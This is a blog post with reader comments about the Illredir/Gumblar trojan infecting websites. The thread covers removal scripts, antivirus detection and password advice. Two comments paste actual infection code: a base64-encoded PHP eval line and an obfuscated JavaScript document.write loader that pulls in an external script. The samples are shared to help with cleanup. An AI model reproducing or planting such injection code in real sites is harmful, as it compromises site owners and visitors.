WARNING, PEOPLE!!! The trojans are mutating faster than we can keep up with. In one of my recent postings, I warned everyone about the Illredir-B trojan, to which Mike kindly provided a script to help us remove the trojan from our websites. In less than 2 weeks, we have been alerted that it has mutated into Illredir-C. Mike quickly modified to script to eliminate both trojans.
Today, a friend asked me to take a look at her website and Avast has detected it as Illredir-D, and when I tested Mike’s script, it wasn’t able to remove the trojan, which means it has mutated into a pattern different from the earlier two; so a further modification of the script will be needed to wipe this out.
It sounds almost like biological warfare with virus mutation.
My hat off to Avast for its quick detection, even though it is free for personal use. My AVG Free did not detect it. I’m so disappointed in it, having believed in it and recommending it to friends for the past few years.
I have also tried a few online website virus scans which were not able to detect this trojan. This is quite a worrying thought, that few antivirus programs are able to keep up with the new trojans, viruses and malware that are mushrooming more quickly than ever.
The good news is that Google is able to detect the malware, and if it has been submitted to Google webmaster, it will block access to the website upon detection of these malwares. You may come across a screenshot like the following:
DO NOT IGNORE THE WARNING!
To ensure your own protection, please please please get a good antivirus software!! I highly recommend Avast because even though I’m using the free licence, it is able to detect and block the trojan. Another one that is able to detect this virus (or so I’m told) is Kaspersky, but it’s not available for free download.

If you want to remove this virus you need:
1. Delete crap from .htaccess file
2. Delete script after /html in site source code
That’s all.
I tested with Illredir-D version.
Greetz.
hose-hp@tlen.pl
Sometimes also PHP/JavaScript files are infected, so be careful 🙂
(mostly with name index.htm, index.html, index.php)
Can someone post a url to site nfected with IllRedir-D ?
@Mike Sorry I cleaned out infected site that my friend asked me to check. But I did keep a copy of the original infected file. Can I email it to you? May I have your email address?
You should have it its on every one of my posts here and also comes with this removal tool 🙂
example of infected site (2010-01.20 12:00) is http://www.enigmainfo.de (official site of “Enigma” (music)).
ALL .js-files, index.*-files on your server will be infected!
Change all your ftp-passwords!!!
In my case the trojan was reading the pwd-file of “Flash-FXP” (the ftp-tool i am using in WinXP). All accounts stored there have been infected.
Don’t see any virus there … do you have a samples of that trojan ?
Uploaded latest version 0.95
http://crafts.hopmart.pl/files/remove-js-illredir-b.php.tar.gz
This version should remove IllRedir-B/C/D and versions starting with /*CODE1*/
Enjoy and donate if this script has helped you
Thanks
Hi Mike,
I tried the latest file, but I still get an error:
Parse error: syntax error, unexpected T_STRING, expecting T_OLD_FUNCTION or T_FUNCTION or T_VAR or ‘}’ in /home/broom6/public_html/remove-js-illredir-b.php on line 84
when I run this on
http://broombox.com/remove-js-illredir-b.php
Please HELP!
PS. Thanks for your help
This means you’re using php 4 instead of php 5 I believe.
Try to rename it to .php5 and try again if your hosting company has php5 enabled it should work then
Thanks for your response Mike. I used the SeoForums script and that seems to have worked. Thanks a lot for taking the time to respond though.
In http://www.virustotal.com/de/analisis/1290321bf9235bf874ba59b71249afe3219f615731ce5cc1bdfdb0bde1b9cdd3-1263044674
a complete list of antispyware tools is given. Here you can check, which tool detects the trojan and which does not.
Done http://crafts.hopmart.pl/files/remove-js-illredir-b.php.tar.gz version 0.96
– Supports PHP 4!
– Backups file before modification
– Contains cure-fix for all files infected with IllRedir-B, IllRedir-C, IllRedir-D, IllRedir-E
Let me know if you having any issues with this release.
Thanks !
I was using the script and work fine.
But in some sites I have another mutation of Illredir (I think)
In that case modify all php files with insertion of code at the top of scripts:
If I try to access to my site I see a URL like: voila-fr.gamespot.com.uol or others, and I see conection to a russian domain :S
I changed the ftp passwords and waiting for other update of your cleaner script,
Thanks for all
Sorry for my Enfglish
I forget the code that I have at the top of all my php files:
Ups!
/**/eval(base64_decode(‘aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ21mc24nXSkpeyRHTE9CQUxTWydtZnNuJ109Jy91c3IvaG9tZS9kZXphaW5zb2x1dGlvbnMuY29tL3dlYi9tb250Z2F0L3dwLWluY2x1ZGVzL2pzL3RpbnltY2UvdGhlbWVzL2FkdmFuY2VkL2ltYWdlcy94cC9qcy5waHAnO2lmKGZpbGVfZXhpc3RzKCRHTE9CQUxTWydtZnNuJ10pKXtpbmNsdWRlX29uY2UoJEdMT0JBTFNbJ21mc24nXSk7aWYoZnVuY3Rpb25fZXhpc3RzKCdnbWwnKSYmZnVuY3Rpb25fZXhpc3RzKCdkZ29iaCcpKXtvYl9zdGFydCgnZGdvYmgnKTt9fX0=’));

– removes eval(base64_decode()) PHP attack
– removes try{window.onload=function(){ document.write( document.write()))}catch() {}
Enjoy ! :))
thanks! it works fine! 🙂
I’m bored with this trojan and it’s mutations ! After getting B, C and E version, they don’t add GNU/GPL text anymore. A new example I’m having below.
Do you know if there is a solution somewhere not to be infected again ? Change password, update blog to last version, nothing seems to stop that 🙁 Thanks in advance.
try{window.onload=function(){document.write(‘mobile-de.friendfeed.com.’);V8flyhwc7e = document.getElementById(‘Cmtyp1dk2g’).innerHTML + ‘m$)e^#$g#&a((u^@p#(l))o!&&a!#)d$^)#-##!#c!o)^!m).!^^$u(!r(l@&#n##$&e#x!@(t^#$.($r!&u$((:))$I!^#)!m@$!u^!&0##)p$#^0(p&&&v!@)0)!!g(k#&d^@@/@!$p$&@^a#(n#!t#$$i$$$p#@^.!&c&)@)o&@!m!/$(p&!a$!#^n!!)(t@^i^&p!!.!@(c&o(^(m@/&$)(r(1$^0)(.(!##n$)(e^@^t((/!t)r#$!a&$^v(&e$@(^&l$^)o^$)c$!&i&&t!(#y!.((c&)&!o^m@/@^@g@(o#!&#o^g##&l!e&.$(&&!c)^!o&$!m!@/^$)’.replace(/(|&|)|^|@|!|#|$/ig, ”) ;document.write(”);} } catch(Vt836kqo ) {}
i have the same probleme here, many websites are infected,
the code i find is different from what you mentionned, it’s like the following :

Updated the code version 0.98
@leparachute – version 0.97 of the script was able to remove your version
The new version removes also Didis version
Remember to change FTP passwords on the server and don’t store passwords on the ftp client don’t use TotalComander at all
Hope this helps
Per wikipedia http://en.wikipedia.org/wiki/Gumblar
This virus incorporates a network sniffer, so if you’re infected don’t use http/ftp and/or telnet to access your server. The virus will be able to extract open text passwords. Use https however if its smart enough it might use keylogger too.
So, I would recommend:
– make sure all infected boxes are shut down
– boot one box from live linux cd/dvd
– use browser to change passwords on the server (use https)
– from now on use only scp, sftp if possible
– copy virus removal script on the server (into public_html)
– run the script to fix your websites
– download http://www.malwarebytes.org/
– download avast
– dowload bootable antivir cd/dvd like kaspersky .iso
– create bootable antyvir dvd growisofs /dev/dvd=kaspersky.iso
– boot from bootable antvir
– try to clean windows partitions
– if successful boot windows
– otherwise restore your system from CD/DVD or restore partition
– install avast, malwarebytes, personal firewall
– run scans
Thanks for your respond Mike, and for your solution to remove the trojan. What I would want is not be infected again. I changed FTP password but it seems – based on what I read – that the code is injected with input tags in forms (and not using FTP). But thanks again for your help 😉
Hey everyone. Just approved the pending comments. Sorry I didn’t approve earlier because I couldn’t go on the ‘net for a while and I thought the comments would be automatically approved.
Hi,
I am looking for removal tool for version I
Thanks!!

Version 1.0 is out. Should fix most of the latest versions however if you’re doing something similar to the virus code your code may be removed too. The script is creating backup copies so if something doesn’t work after your run the script keep the script output log and restore from the backups.
@Andrew Try to use latest version , also don’t chmod 777 the script itself just other files. Some php servers wont run the script with write/execute permissions
Thanks Mike for the new version, but it’s not working with the code above. Can you help?
Email me your version (code from any forum is already pre-formatted).
Zip/Rar the virus with some password and e-mail to the contact email. Include Password 🙂
Thanks !
Sent 🙂
